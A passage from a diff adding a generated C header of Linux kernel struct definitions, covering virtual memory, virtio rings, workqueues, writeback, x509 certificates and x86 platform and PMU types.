mempolicy *vm_policy; + struct vm_userfaultfd_ctx vm_userfaultfd_ctx; +}; + +struct vm_event_state { + unsigned long event[100]; +}; + +struct vm_fault { + struct { + struct vm_area_struct *vma; + gfp_t gfp_mask; + unsigned long pgoff; + unsigned long address; + unsigned long real_address; + }; + enum fault_flag flags; + pmd_t *pmd; + pud_t *pud; + union { + pte_t orig_pte; + pmd_t orig_pmd; + }; + struct page *cow_page; + struct page *page; + pte_t *pte; + spinlock_t *ptl; + pgtable_t prealloc_pte; +}; + +struct vm_operations_struct { + void (*open)(struct vm_area_struct *); + void (*close)(struct vm_area_struct *); + int (*may_split)(struct vm_area_struct *, unsigned long); + int (*mremap)(struct vm_area_struct *); + int (*mprotect)(struct vm_area_struct *, unsigned long, unsigned long, unsigned long); + vm_fault_t (*fault)(struct vm_fault *); + vm_fault_t (*huge_fault)(struct vm_fault *, unsigned int); + vm_fault_t (*map_pages)(struct vm_fault *, unsigned long, unsigned long); + unsigned long (*pagesize)(struct vm_area_struct *); + vm_fault_t (*page_mkwrite)(struct vm_fault *); + vm_fault_t (*pfn_mkwrite)(struct vm_fault *); + int (*access)(struct vm_area_struct *, unsigned long, void *, int, int); + const char * (*name)(struct vm_area_struct *); + int (*set_policy)(struct vm_area_struct *, struct mempolicy *); + struct mempolicy * (*get_policy)(struct vm_area_struct *, unsigned long, unsigned long *); + struct page * (*find_special_page)(struct vm_area_struct *, unsigned long); +}; + +struct vm_special_mapping { + const char *name; + struct page **pages; + vm_fault_t (*fault)(const struct vm_special_mapping *, struct vm_area_struct *, struct vm_fault *); + int (*mremap)(const struct vm_special_mapping *, struct vm_area_struct *); + void (*close)(const struct vm_special_mapping *, struct vm_area_struct *); +}; + +struct vm_stack { + struct callback_head rcu; + struct vm_struct *stack_vm_area; +}; + +struct vm_struct { + struct vm_struct *next; + void *addr; + unsigned long size; + unsigned long flags; + struct page **pages; + unsigned int page_order; + unsigned int nr_pages; + phys_addr_t phys_addr; + const void *caller; +}; + +struct vm_unmapped_area_info { + unsigned long flags; + unsigned long length; + unsigned long low_limit; + unsigned long high_limit; + unsigned long align_mask; + unsigned long align_offset; + unsigned long start_gap; +}; + +struct vma_list { + struct vm_area_struct *vma; + struct list_head head; + atomic_t mmap_count; +}; + +struct vma_lock { + struct rw_semaphore lock; +}; + +struct vma_merge_struct { + struct mm_struct *mm; + struct vma_iterator *vmi; + unsigned long pgoff; + struct vm_area_struct *prev; + struct vm_area_struct *next; + struct vm_area_struct *vma; + unsigned long start; + unsigned long end; + unsigned long flags; + struct file *file; + struct anon_vma *anon_vma; + struct mempolicy *policy; + struct vm_userfaultfd_ctx uffd_ctx; + struct anon_vma_name *anon_name; + enum vma_merge_state state; +}; + +struct vma_munmap_struct { + struct vma_iterator *vmi; + struct vm_area_struct *vma; + struct vm_area_struct *prev; + struct vm_area_struct *next; + struct list_head *uf; + unsigned long start; + unsigned long end; + unsigned long unmap_start; + unsigned long unmap_end; + int vma_count; + bool unlock; + bool clear_ptes; + bool closed_vm_ops; + unsigned long nr_pages; + unsigned long locked_vm; + unsigned long nr_accounted; + unsigned long exec_vm; + unsigned long stack_vm; + unsigned long data_vm; +}; + +struct vma_prepare { + struct vm_area_struct *vma; + struct vm_area_struct *adj_next; + struct file *file; + struct address_space *mapping; + struct anon_vma *anon_vma; + struct vm_area_struct *insert; + struct vm_area_struct *remove; + struct vm_area_struct *remove2; +}; + +struct vmap_area { + unsigned long va_start; + unsigned long va_end; + struct rb_node rb_node; + struct list_head list; + union { + unsigned long subtree_max_size; + struct vm_struct *vm; + }; + unsigned long flags; +}; + +struct vmap_block { + spinlock_t lock; + struct vmap_area *va; + unsigned long free; + unsigned long dirty; + unsigned long used_map[4]; + unsigned long dirty_min; + unsigned long dirty_max; + struct list_head free_list; + struct callback_head callback_head; + struct list_head purge; + unsigned int cpu; +}; + +struct vmap_block_queue { + spinlock_t lock; + struct list_head free; + struct xarray vmap_blocks; +}; + +struct vmap_pool { + struct list_head head; + unsigned long len; +}; + +struct vmap_node { + struct vmap_pool pool[256]; + spinlock_t pool_lock; + bool skip_populate; + struct rb_list busy; + struct rb_list lazy; + struct list_head purge_list; + struct work_struct purge_work; + unsigned long nr_purged; +}; + +struct vmcore { + struct list_head list; + unsigned long long paddr; + unsigned long long size; + loff_t offset; +}; + +struct vmcore_cb { + bool (*pfn_is_ram)(struct vmcore_cb *, unsigned long); + struct list_head next; +}; + +struct vmemmap_remap_walk { + void (*remap_pte)(pte_t *, unsigned long, struct vmemmap_remap_walk *); + unsigned long nr_walked; + struct page *reuse_page; + unsigned long reuse_addr; + struct list_head *vmemmap_pages; + unsigned long flags; +}; + +struct vmpressure_event { + struct eventfd_ctx *efd; + enum vmpressure_levels level; + enum vmpressure_modes mode; + struct list_head node; +}; + +struct vring_desc; + +typedef struct vring_desc vring_desc_t; + +struct vring_avail; + +typedef struct vring_avail vring_avail_t; + +struct vring_used; + +typedef struct vring_used vring_used_t; + +struct vring { + unsigned int num; + vring_desc_t *desc; + vring_avail_t *avail; + vring_used_t *used; +}; + +struct vring_avail { + __virtio16 flags; + __virtio16 idx; + __virtio16 ring[0]; +}; + +struct vring_desc { + __virtio64 addr; + __virtio32 len; + __virtio16 flags; + __virtio16 next; +}; + +struct vring_desc_extra { + dma_addr_t addr; + u32 len; + u16 flags; + u16 next; +}; + +struct vring_packed_desc; + +struct vring_desc_state_packed { + void *data; + struct vring_packed_desc *indir_desc; + u16 num; + u16 last; +}; + +struct vring_desc_state_split { + void *data; + struct vring_desc *indir_desc; +}; + +struct vring_packed_desc { + __le64 addr; + __le32 len; + __le16 id; + __le16 flags; +}; + +struct vring_packed_desc_event { + __le16 off_wrap; + __le16 flags; +}; + +struct vring_used_elem { + __virtio32 id; + __virtio32 len; +}; + +typedef struct vring_used_elem vring_used_elem_t; + +struct vring_used { + __virtio16 flags; + __virtio16 idx; + vring_used_elem_t ring[0]; +}; + +struct vring_virtqueue_split { + struct vring vring; + u16 avail_flags_shadow; + u16 avail_idx_shadow; + struct vring_desc_state_split *desc_state; + struct vring_desc_extra *desc_extra; + dma_addr_t queue_dma_addr; + size_t queue_size_in_bytes; + u32 vring_align; + bool may_reduce_num; +}; + +struct vring_virtqueue_packed { + struct { + unsigned int num; + struct vring_packed_desc *desc; + struct vring_packed_desc_event *driver; + struct vring_packed_desc_event *device; + } vring; + bool avail_wrap_counter; + u16 avail_used_flags; + u16 next_avail_idx; + u16 event_flags_shadow; + struct vring_desc_state_packed *desc_state; + struct vring_desc_extra *desc_extra; + dma_addr_t ring_dma_addr; + dma_addr_t driver_event_dma_addr; + dma_addr_t device_event_dma_addr; + size_t ring_size_in_bytes; + size_t event_size_in_bytes; +}; + +struct vring_virtqueue { + struct virtqueue vq; + bool packed_ring; + bool use_dma_api; + bool weak_barriers; + bool broken; + bool indirect; + bool event; + bool premapped; + bool do_unmap; + unsigned int free_head; + unsigned int num_added; + u16 last_used_idx; + bool event_triggered; + union { + struct vring_virtqueue_split split; + struct vring_virtqueue_packed packed; + }; + bool (*notify)(struct virtqueue *); + bool we_own_ring; + struct device *dma_dev; +}; + +struct vt_consize { + unsigned short v_rows; + unsigned short v_cols; + unsigned short v_vlin; + unsigned short v_clin; + unsigned short v_vcol; + unsigned short v_ccol; +}; + +struct vt_event { + unsigned int event; + unsigned int oldev; + unsigned int newev; + unsigned int pad[4]; +}; + +struct vt_event_wait { + struct list_head list; + struct vt_event event; + int done; +}; + +struct vt_notifier_param { + struct vc_data *vc; + unsigned int c; +}; + +struct vt_setactivate { + unsigned int console; + struct vt_mode mode; +}; + +struct vt_sizes { + unsigned short v_rows; + unsigned short v_cols; + unsigned short v_scrollsize; +}; + +struct vt_spawn_console { + spinlock_t lock; + struct pid *pid; + int sig; +}; + +struct vt_stat { + unsigned short v_active; + unsigned short v_signal; + unsigned short v_state; +}; + +struct vtunnel_info { + u32 tunid; + u16 vid; + u16 flags; +}; + +struct wait_bit_key { + void *flags; + int bit_nr; + unsigned long timeout; +}; + +struct wait_bit_queue_entry { + struct wait_bit_key key; + struct wait_queue_entry wq_entry; +}; + +struct wait_page_key { + struct folio *folio; + int bit_nr; + int page_match; +}; + +struct waiting_dir_move { + struct rb_node node; + u64 ino; + u64 rmdir_ino; + u64 rmdir_gen; + bool orphanized; +}; + +struct wake_irq { + struct device *dev; + unsigned int status; + int irq; + const char *name; +}; + +struct wakeup_header { + u16 video_mode; + u32 pmode_entry; + u16 pmode_cs; + u32 pmode_cr0; + u32 pmode_cr3; + u32 pmode_cr4; + u32 pmode_efer_low; + u32 pmode_efer_high; + u64 pmode_gdt; + u32 pmode_misc_en_low; + u32 pmode_misc_en_high; + u32 pmode_behavior; + u32 realmode_flags; + u32 real_magic; + u32 signature; +} __attribute__((packed)); + +struct wakeup_source { + const char *name; + int id; + struct list_head entry; + spinlock_t lock; + struct wake_irq *wakeirq; + struct timer_list timer; + unsigned long timer_expires; + ktime_t total_time; + ktime_t max_time; + ktime_t last_time; + ktime_t start_prevent_time; + ktime_t prevent_sleep_time; + unsigned long event_count; + unsigned long active_count; + unsigned long relax_count; + unsigned long expire_count; + unsigned long wakeup_count; + struct device *dev; + bool active: 1; + bool autosleep_enabled: 1; +}; + +struct walk_control { + int free; + int pin; + int stage; + bool ignore_cur_inode; + struct btrfs_root *replay_dest; + struct btrfs_trans_handle *trans; + int (*process_func)(struct btrfs_root *, struct extent_buffer *, struct walk_control *, u64, int); +}; + +struct walk_control___2 { + u64 refs[8]; + u64 flags[8]; + struct btrfs_key update_progress; + struct btrfs_key drop_progress; + int drop_level; + int stage; + int level; + int shared_level; + int update_ref; + int keep_locks; + int reada_slot; + int reada_count; + int restarted; + int lookup_info; +}; + +struct warn_args { + const char *fmt; + va_list args; +}; + +struct wb_lock_cookie { + bool locked; + unsigned long flags; +}; + +struct wb_stats { + unsigned long nr_dirty; + unsigned long nr_io; + unsigned long nr_more_io; + unsigned long nr_dirty_time; + unsigned long nr_writeback; + unsigned long nr_reclaimable; + unsigned long nr_dirtied; + unsigned long nr_written; + unsigned long dirty_thresh; + unsigned long wb_thresh; +}; + +struct wb_writeback_work { + long nr_pages; + struct super_block *sb; + enum writeback_sync_modes sync_mode; + unsigned int tagged_writepages: 1; + unsigned int for_kupdate: 1; + unsigned int range_cyclic: 1; + unsigned int for_background: 1; + unsigned int for_sync: 1; + unsigned int auto_free: 1; + enum wb_reason reason; + struct list_head list; + struct wb_completion *done; +}; + +struct wbrf_ranges_in_out { + u64 num_of_ranges; + struct freq_band_range band_list[11]; +}; + +struct wbt_wait_data { + struct rq_wb *rwb; + enum wbt_flags wb_acct; + blk_opf_t opf; +}; + +struct wiphy_coalesce_support { + int n_rules; + int max_delay; + int n_patterns; + int pattern_max_len; + int pattern_min_len; + int max_pkt_offset; +}; + +struct wiphy_iftype_akm_suites { + u16 iftypes_mask; + const u32 *akm_suites; + int n_akm_suites; +}; + +struct wiphy_iftype_ext_capab { + enum nl80211_iftype iftype; + const u8 *extended_capabilities; + const u8 *extended_capabilities_mask; + u8 extended_capabilities_len; + u16 eml_capabilities; + u16 mld_capa_and_ops; +}; + +struct wiphy_radio_freq_range; + +struct wiphy_radio { + const struct wiphy_radio_freq_range *freq_range; + int n_freq_range; + const struct ieee80211_iface_combination *iface_combinations; + int n_iface_combinations; +}; + +struct wiphy_radio_freq_range { + u32 start_freq; + u32 end_freq; +}; + +struct wiphy_vendor_command { + struct nl80211_vendor_cmd_info info; + u32 flags; + int (*doit)(struct wiphy *, struct wireless_dev *, const void *, int); + int (*dumpit)(struct wiphy *, struct wireless_dev *, struct sk_buff *, const void *, int, unsigned long *); + const struct nla_policy *policy; + unsigned int maxattr; +}; + +struct wiphy_wowlan_tcp_support { + const struct nl80211_wowlan_tcp_data_token_feature *tok; + u32 data_payload_max; + u32 data_interval_max; + u32 wake_payload_max; + bool seq; +}; + +struct wol_reply_data { + struct ethnl_reply_data base; + struct ethtool_wolinfo wol; + bool show_sopass; +}; + +struct word_at_a_time { + const unsigned long one_bits; + const unsigned long high_bits; +}; + +struct work_for_cpu { + struct work_struct work; + long (*fn)(void *); + void *arg; + long ret; +}; + +struct work_offq_data { + u32 pool_id; + u32 disable; + u32 flags; +}; + +struct work_queue_wrapper { + struct work_struct work; + struct scsi_device *sdev; +}; + +struct worker { + union { + struct list_head entry; + struct hlist_node hentry; + }; + struct work_struct *current_work; + work_func_t current_func; + struct pool_workqueue *current_pwq; + u64 current_at; + unsigned int current_color; + int sleeping; + work_func_t last_func; + struct list_head scheduled; + struct task_struct *task; + struct worker_pool *pool; + struct list_head node; + unsigned long last_active; + unsigned int flags; + int id; + char desc[32]; + struct workqueue_struct *rescue_wq; +}; + +struct worker_pool { + raw_spinlock_t lock; + int cpu; + int node; + int id; + unsigned int flags; + unsigned long watchdog_ts; + bool cpu_stall; + int nr_running; + struct list_head worklist; + int nr_workers; + int nr_idle; + struct list_head idle_list; + struct timer_list idle_timer; + struct work_struct idle_cull_work; + struct timer_list mayday_timer; + struct hlist_head busy_hash[64]; + struct worker *manager; + struct list_head workers; + struct ida worker_ida; + struct workqueue_attrs *attrs; + struct hlist_node hash_node; + int refcnt; + struct callback_head rcu; +}; + +struct workqueue_attrs { + int nice; + cpumask_var_t cpumask; + cpumask_var_t __pod_cpumask; + bool affn_strict; + enum wq_affn_scope affn_scope; + bool ordered; +}; + +struct wq_flusher; + +struct wq_device; + +struct wq_node_nr_active; + +struct workqueue_struct { + struct list_head pwqs; + struct list_head list; + struct mutex mutex; + int work_color; + int flush_color; + atomic_t nr_pwqs_to_flush; + struct wq_flusher *first_flusher; + struct list_head flusher_queue; + struct list_head flusher_overflow; + struct list_head maydays; + struct worker *rescuer; + int nr_drainers; + int max_active; + int min_active; + int saved_max_active; + int saved_min_active; + struct workqueue_attrs *unbound_attrs; + struct pool_workqueue __attribute__((btf_type_tag("rcu"))) *dfl_pwq; + struct wq_device *wq_dev; + char *lock_name; + struct lock_class_key key; + struct lockdep_map __lockdep_map; + struct lockdep_map *lockdep_map; + char name[32]; + struct callback_head rcu; + long: 64; + long: 64; + long: 64; + unsigned int flags; + struct pool_workqueue __attribute__((btf_type_tag("rcu"))) * __attribute__((btf_type_tag("percpu"))) *cpu_pwq; + struct wq_node_nr_active *node_nr_active[0]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct workspace { + void *mem; + size_t size; + char *buf; + unsigned int level; + unsigned int req_level; + unsigned long last_used; + struct list_head list; + struct list_head lru_list; + zstd_in_buffer in_buf; + zstd_out_buffer out_buf; +}; + +struct workspace___2 { + void *mem; + void *buf; + void *cbuf; + struct list_head list; +}; + +struct z_stream_s { + const Byte *next_in; + uLong avail_in; + uLong total_in; + Byte *next_out; + uLong avail_out; + uLong total_out; + char *msg; + struct internal_state *state; + void *workspace; + int data_type; + uLong adler; + uLong reserved; +}; + +struct workspace___3 { + z_stream strm; + char *buf; + unsigned int buf_size; + struct list_head list; + int level; +}; + +struct workspace_manager { + struct list_head idle_ws; + spinlock_t ws_lock; + int free_ws; + atomic_t total_ws; + wait_queue_head_t ws_wait; +}; + +struct wowlan_key_data { + struct iwl_rxon_context *ctx; + struct iwlagn_wowlan_rsc_tsc_params_cmd *rsc_tsc; + struct iwlagn_wowlan_tkip_params_cmd *tkip; + const u8 *bssid; + bool error; + bool use_rsc_tsc; + bool use_tkip; +}; + +struct wowlan_key_gtk_type_iter { + struct iwl_wowlan_kek_kck_material_cmd_v4 *kek_kck_cmd; +}; + +struct wowlan_key_reprogram_data { + bool error; + int wep_key_idx; +}; + +struct wowlan_key_rsc_tsc_data { + struct iwl_wowlan_rsc_tsc_params_cmd_v4 *rsc_tsc; + bool have_rsc_tsc; +}; + +struct wowlan_key_rsc_v5_data { + struct iwl_wowlan_rsc_tsc_params_cmd *rsc; + bool have_rsc; + int gtks; + int gtk_ids[4]; +}; + +struct wowlan_key_tkip_data { + struct iwl_wowlan_tkip_params_cmd tkip; + bool have_tkip_keys; +} __attribute__((packed)); + +struct wq_barrier { + struct work_struct work; + struct completion done; + struct task_struct *task; +}; + +struct wq_device { + struct workqueue_struct *wq; + struct device dev; +}; + +struct wq_drain_dead_softirq_work { + struct work_struct work; + struct worker_pool *pool; + struct completion done; +}; + +struct wq_flusher { + struct list_head list; + int flush_color; + struct completion done; +}; + +struct wq_node_nr_active { + int max; + atomic_t nr; + raw_spinlock_t lock; + struct list_head pending_pwqs; +}; + +struct wq_pod_type { + int nr_pods; + cpumask_var_t *pod_cpus; + int *pod_node; + int *cpu_pod; +}; + +typedef void (*swap_func_t)(void *, void *, int); + +struct wrapper { + cmp_func_t cmp; + swap_func_t swap; +}; + +struct writeback_control { + long nr_to_write; + long pages_skipped; + loff_t range_start; + loff_t range_end; + enum writeback_sync_modes sync_mode; + unsigned int for_kupdate: 1; + unsigned int for_background: 1; + unsigned int tagged_writepages: 1; + unsigned int for_reclaim: 1; + unsigned int range_cyclic: 1; + unsigned int for_sync: 1; + unsigned int unpinned_netfs_wb: 1; + unsigned int no_cgroup_owner: 1; + struct swap_iocb **swap_plug; + struct list_head *list; + struct folio_batch fbatch; + unsigned long index; + int saved_err; + struct bdi_writeback *wb; + struct inode *inode; + int wb_id; + int wb_lcand_id; + int wb_tcand_id; + size_t wb_bytes; + size_t wb_lcand_bytes; + size_t wb_tcand_bytes; +}; + +struct ww_acquire_ctx { + struct task_struct *task; + unsigned long stamp; + unsigned int acquired; + unsigned short wounded; + unsigned short is_wait_die; + unsigned int done_acquire; + struct ww_class *ww_class; + void *contending_lock; + struct lockdep_map dep_map; + unsigned int deadlock_inject_interval; + unsigned int deadlock_inject_countdown; +}; + +struct ww_class { + atomic_long_t stamp; + struct lock_class_key acquire_key; + struct lock_class_key mutex_key; + const char *acquire_name; + const char *mutex_name; + unsigned int is_wait_die; +}; + +struct x509_certificate { + struct x509_certificate *next; + struct x509_certificate *signer; + struct public_key *pub; + struct public_key_signature *sig; + char *issuer; + char *subject; + struct asymmetric_key_id *id; + struct asymmetric_key_id *skid; + time64_t valid_from; + time64_t valid_to; + const void *tbs; + unsigned int tbs_size; + unsigned int raw_sig_size; + const void *raw_sig; + const void *raw_serial; + unsigned int raw_serial_size; + unsigned int raw_issuer_size; + const void *raw_issuer; + const void *raw_subject; + unsigned int raw_subject_size; + unsigned int raw_skid_size; + const void *raw_skid; + unsigned int index; + bool seen; + bool verified; + bool self_signed; + bool unsupported_sig; + bool blacklisted; +}; + +struct x509_parse_context { + struct x509_certificate *cert; + unsigned long data; + const void *key; + size_t key_size; + const void *params; + size_t params_size; + enum OID key_algo; + enum OID last_oid; + enum OID sig_algo; + u8 o_size; + u8 cn_size; + u8 email_size; + u16 o_offset; + u16 cn_offset; + u16 email_offset; + unsigned int raw_akid_size; + const void *raw_akid; + const void *akid_raw_issuer; + unsigned int akid_raw_issuer_size; +}; + +struct x64_jit_data { + struct bpf_binary_header *rw_header; + struct bpf_binary_header *header; + int *addrs; + u8 *image; + int proglen; + struct jit_context ctx; +}; + +struct x86_apic_ops { + unsigned int (*io_apic_read)(unsigned int, unsigned int); + void (*restore)(void); +}; + +struct x86_cpu_desc { + u8 x86_family; + u8 x86_vendor; + u8 x86_model; + u8 x86_stepping; + u32 x86_microcode_rev; +}; + +struct x86_cpuinit_ops { + void (*setup_percpu_clockev)(void); + void (*early_percpu_clock_init)(void); + void (*fixup_cpu_id)(struct cpuinfo_x86 *, int); + bool parallel_bringup; +}; + +struct x86_guest { + int (*enc_status_change_prepare)(unsigned long, int, bool); + int (*enc_status_change_finish)(unsigned long, int, bool); + bool (*enc_tlb_flush_required)(bool); + bool (*enc_cache_flush_required)(void); + void (*enc_kexec_begin)(void); + void (*enc_kexec_finish)(void); +}; + +struct x86_hybrid_pmu { + struct pmu pmu; + const char *name; + enum hybrid_pmu_type pmu_type; + cpumask_t supported_cpus; + union perf_capabilities intel_cap; + u64 intel_ctrl; + u64 pebs_events_mask; + u64 config_mask; + union { + u64 cntr_mask64; + unsigned long cntr_mask[1]; + }; + union { + u64 fixed_cntr_mask64; + unsigned long fixed_cntr_mask[1]; + }; + struct event_constraint unconstrained; + u64 hw_cache_event_ids[42]; + u64 hw_cache_extra_regs[42]; + struct event_constraint *event_constraints; + struct event_constraint *pebs_constraints; + struct extra_reg *extra_regs; + unsigned int late_ack: 1; + unsigned int mid_ack: 1; + unsigned int enabled_ack: 1; + u64 pebs_data_source[256]; +}; + +struct x86_hyper_init { + void (*init_platform)(void); + void (*guest_late_init)(void); + bool (*x2apic_available)(void); + bool (*msi_ext_dest_id)(void); + void (*init_mem_mapping)(void); + void (*init_after_bootmem)(void); +}; + +struct ghcb; + +struct x86_hyper_runtime { + void (*pin_vcpu)(int); + void (*sev_es_hcall_prepare)(struct ghcb *, struct pt_regs *); + bool (*sev_es_hcall_finish)(struct ghcb *, struct pt_regs *); + bool (*is_private_mmio)(u64); +}; + +struct x86_init_acpi { + void (*set_root_pointer)(u64); + u64 (*get_root_pointer)(void); + void (*reduced_hw_early_init)(void); +}; + +struct x86_init_iommu { + int (*iommu_init)(void); +}; + +struct x86_init_irqs { + void (*pre_vector_init)(void); + void (*intr_init)(void); + void (*intr_mode_select)(void); + void (*intr_mode_init)(void); + struct irq_domain * (*create_pci_msi_domain)(void); +}; + +struct x86_init_mpparse { + void (*setup_ioapic_ids)(void); + void (*find_mptable)(void); + void (*early_parse_smp_cfg)(void); + void (*parse_smp_cfg)(void); +}; + +struct x86_init_oem { + void (*arch_setup)(void); + void (*banner)(void); +}; + +struct x86_init_resources { + void (*probe_roms)(void); + void (*reserve_resources)(void); + char * (*memory_setup)(void); + void (*dmi_setup)(void); +}; + +struct x86_init_paging { + void (*pagetable_init)(void); +}; + +struct x86_init_timers { + void (*setup_percpu_clockev)(void); + void (*timer_init)(void); + void (*wallclock_init)(void); +}; + +struct x86_init_pci { + int (*arch_init)(void); + int (*init)(void); + void (*init_irq)(void); + void (*fixup_irqs)(void); +}; + +struct x86_init_ops { + struct x86_init_resources resources; + struct x86_init_mpparse mpparse; + struct x86_init_irqs irqs; + struct x86_init_oem oem; + struct x86_init_paging paging; + struct x86_init_timers timers; + struct x86_init_iommu iommu; + struct x86_init_pci pci; + struct x86_hyper_init hyper; + struct x86_init_acpi acpi; +}; + +struct x86_legacy_devices { + int pnpbios; +}; + +struct x86_legacy_features { + enum x86_legacy_i8042_state i8042; + int rtc; + int warm_reset; + int no_vga; + int reserve_bios_regions; + struct x86_legacy_devices devices; +}; + +struct x86_mapping_info { + void * (*alloc_pgt_page)(void *); + void (*free_pgt_page)(void *, void *); + void *context; + unsigned long page_flag; + unsigned long offset; + bool direct_gbpages; + unsigned long kernpg_flag; +}; + +struct x86_perf_regs { + struct pt_regs regs; + u64 *xmm_regs; +}; + +struct x86_perf_task_context_opt { + int lbr_callstack_users; + int lbr_stack_state; + int log_id; +}; + +struct x86_perf_task_context { + u64 lbr_sel; + int tos; + int valid_lbrs; + struct x86_perf_task_context_opt opt; + struct lbr_entry lbr[32]; +}; + +struct x86_perf_task_context_arch_lbr { + struct x86_perf_task_context_opt opt; + struct lbr_entry entries[0]; +}; + +struct x86_perf_task_context_arch_lbr_xsave { + struct x86_perf_task_context_opt opt; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + union { + struct xregs_state xsave; + struct { + struct fxregs_state i387; + struct xstate_header header; + struct arch_lbr_state lbr; + long: 64; + long: 64; + long: 64; + }; + }; +}; + +struct x86_platform_ops { + unsigned long (*calibrate_cpu)(void); + unsigned long (*calibrate_tsc)(void); + void (*get_wallclock)(struct timespec64 *); + int (*set_wallclock)(const struct timespec64 *); + void (*iommu_shutdown)(void); + bool (*is_untracked_pat_range)(u64, u64); + void (*nmi_init)(void); + unsigned char (*get_nmi_reason)(void); + void (*save_sched_clock_state)(void); + void (*restore_sched_clock_state)(void); + void (*apic_post_init)(void); + struct x86_legacy_features legacy; + void (*set_legacy_features)(void); + void (*realmode_reserve)(void); + void (*realmode_init)(void); + struct x86_hyper_runtime hyper; + struct x86_guest guest; +}; + +struct x86_pmu_quirk; + +struct x86_pmu { + const char *name; + int version; + int (*handle_irq)(struct pt_regs *); + void (*disable_all)(void); + void (*enable_all)(int); + void (*enable)(struct perf_event *); + void (*disable)(struct perf_event *); + void (*assign)(struct perf_event *, int); + void (*add)(struct perf_event *); + void (*del)(struct perf_event *); + void (*read)(struct perf_event *); + int (*set_period)(struct perf_event *); + u64 (*update)(struct perf_event *); + int (*hw_config)(struct perf_event *); + int (*schedule_events)(struct cpu_hw_events *, int, int *); + unsigned int eventsel; + unsigned int perfctr; + unsigned int fixedctr; + int (*addr_offset)(int, bool); + int (*rdpmc_index)(int); + u64 (*event_map)(int); + int max_events; + u64 config_mask; + union { + u64 cntr_mask64; + unsigned long cntr_mask[1]; + }; + union { + u64 fixed_cntr_mask64; + unsigned long fixed_cntr_mask[1]; + }; + int cntval_bits; + u64 cntval_mask; + union { + unsigned long events_maskl; + unsigned long events_mask[1]; + }; + int events_mask_len; + int apic; + u64 max_period; + struct event_constraint * (*get_event_constraints)(struct cpu_hw_events *, int, struct perf_event *); + void (*put_event_constraints)(struct cpu_hw_events *, struct perf_event *); + void (*start_scheduling)(struct cpu_hw_events *); + void (*commit_scheduling)(struct cpu_hw_events *, int, int); + void (*stop_scheduling)(struct cpu_hw_events *); + struct event_constraint *event_constraints; + struct x86_pmu_quirk *quirks; + void (*limit_period)(struct perf_event *, s64 *); + unsigned int late_ack: 1; + unsigned int mid_ack: 1; + unsigned int enabled_ack: 1; + int attr_rdpmc_broken; + int attr_rdpmc; + struct attribute **format_attrs; + ssize_t (*events_sysfs_show)(char *, u64); + const struct attribute_group **attr_update; + unsigned long attr_freeze_on_smi; + int (*cpu_prepare)(int); + void (*cpu_starting)(int); + void (*cpu_dying)(int); + void (*cpu_dead)(int); + void (*check_microcode)(void); + void (*sched_task)(struct perf_event_pmu_context *, bool); + u64 intel_ctrl; + union perf_capabilities intel_cap; + unsigned int bts: 1; + unsigned int bts_active: 1; + unsigned int pebs: 1; + unsigned int pebs_active: 1; + unsigned int pebs_broken: 1; + unsigned int pebs_prec_dist: 1; + unsigned int pebs_no_tlb: 1; + unsigned int pebs_no_isolation: 1; + unsigned int pebs_block: 1; + unsigned int pebs_ept: 1; + int pebs_record_size; + int pebs_buffer_size; + u64 pebs_events_mask; + void (*drain_pebs)(struct pt_regs *, struct perf_sample_data *); + struct event_constraint *pebs_constraints; + void (*pebs_aliases)(struct perf_event *); + u64 (*pebs_latency_data)(struct perf_event *, u64); + unsigned long large_pebs_flags; + u64 rtm_abort_event; + u64 pebs_capable; + unsigned int lbr_tos; + unsigned int lbr_from; + unsigned int lbr_to; + unsigned int lbr_info; + unsigned int lbr_nr; + union { + u64 lbr_sel_mask; + u64 lbr_ctl_mask; + }; + union { + const int *lbr_sel_map; + int *lbr_ctl_map; + }; + bool lbr_double_abort; + bool lbr_pt_coexist; + unsigned int lbr_has_info: 1; + unsigned int lbr_has_tsx: 1; + unsigned int lbr_from_flags: 1; + unsigned int lbr_to_cycles: 1; + unsigned int lbr_depth_mask: 8; + unsigned int lbr_deep_c_reset: 1; + unsigned int lbr_lip: 1; + unsigned int lbr_cpl: 1; + unsigned int lbr_filter: 1; + unsigned int lbr_call_stack: 1; + unsigned int lbr_mispred: 1; + unsigned int lbr_timed_lbr: 1; + unsigned int lbr_br_type: 1; + unsigned int lbr_counters: 4; + void (*lbr_reset)(void); + void (*lbr_read)(struct cpu_hw_events *); + void (*lbr_save)(void *); + void (*lbr_restore)(void *); + atomic_t lbr_exclusive[3]; + int num_topdown_events; + void (*swap_task_ctx)(struct perf_event_pmu_context *, struct perf_event_pmu_context *); + unsigned int amd_nb_constraints: 1; + u64 perf_ctr_pair_en; + struct extra_reg *extra_regs; + unsigned int flags; + struct perf_guest_switch_msr * (*guest_get_msrs)(int *, void *); + int (*check_period)(struct perf_event *, u64); + int (*aux_output_match)(struct perf_event *); + void (*filter)(struct pmu *, int, bool *); + int num_hybrid_pmus; + struct x86_hybrid_pmu *hybrid_pmu; + enum hybrid_cpu_type (*get_hybrid_cpu_type)(void); +}; + +struct x86_pmu_capability { + int version; + int num_counters_gp; + int num_counters_fixed; + int bit_width_gp; + int bit_width_fixed; + unsigned int events_mask; + int events_mask_len; + unsigned int pebs_ept: 1; +}; + +struct x86_pmu_lbr { + unsigned int nr; + unsigned int from; + unsigned int to; + unsigned int info; + bool has_callstack; +}; + +struct x86_pmu_quirk { + struct x86_pmu_quirk *next; + void (*func)(void); +}; + +struct x86_topology_system { + unsigned int dom_shifts[7]; + unsigned int dom_size[7]; +}; + +struct x86_xfeat_component { + __u32 type; + __u32 size; + __u32 offset; + __u32 flags; +}; + +struct xa_limit { + u32 max; + u32 min; +}; + +struct xa_node { + unsigned char shift; + unsigned char offset; + unsigned char count; + unsigned char nr_values; + struct xa_node __attribute__((btf_type_tag("rcu"))) *parent; + struct xarray *array; + union { + struct list_head private_list; + struct callback_head callback_head; + }; + void __attribute__((btf_type_tag("rcu"))) *slots[64]; + union { + unsigned long tags[3]; + unsigned long marks[3]; + }; +}; + +typedef void (*xa_update_node_t)(struct xa_node *); + +struct xa_state { + struct xarray *xa; + unsigned long xa_index; + unsigned char xa_shift; + unsigned char xa_sibs; + unsigned char xa_offset; + unsigned char xa_pad; + struct xa_node *xa_node; + struct xa_node *xa_alloc; + xa_update_node_t xa_update; + struct list_lru *xa_lru; +}; + +struct xattr_handler { + const char *name; + const char *prefix; + int flags; + bool (*list)(struct dentry *); + int (*get)(const struct xattr_handler *, struct dentry *, struct inode *, const char *, void *, size_t); + int (*set)(const struct xattr_handler *, struct mnt_idmap *, struct dentry *, struct inode *, const char *, 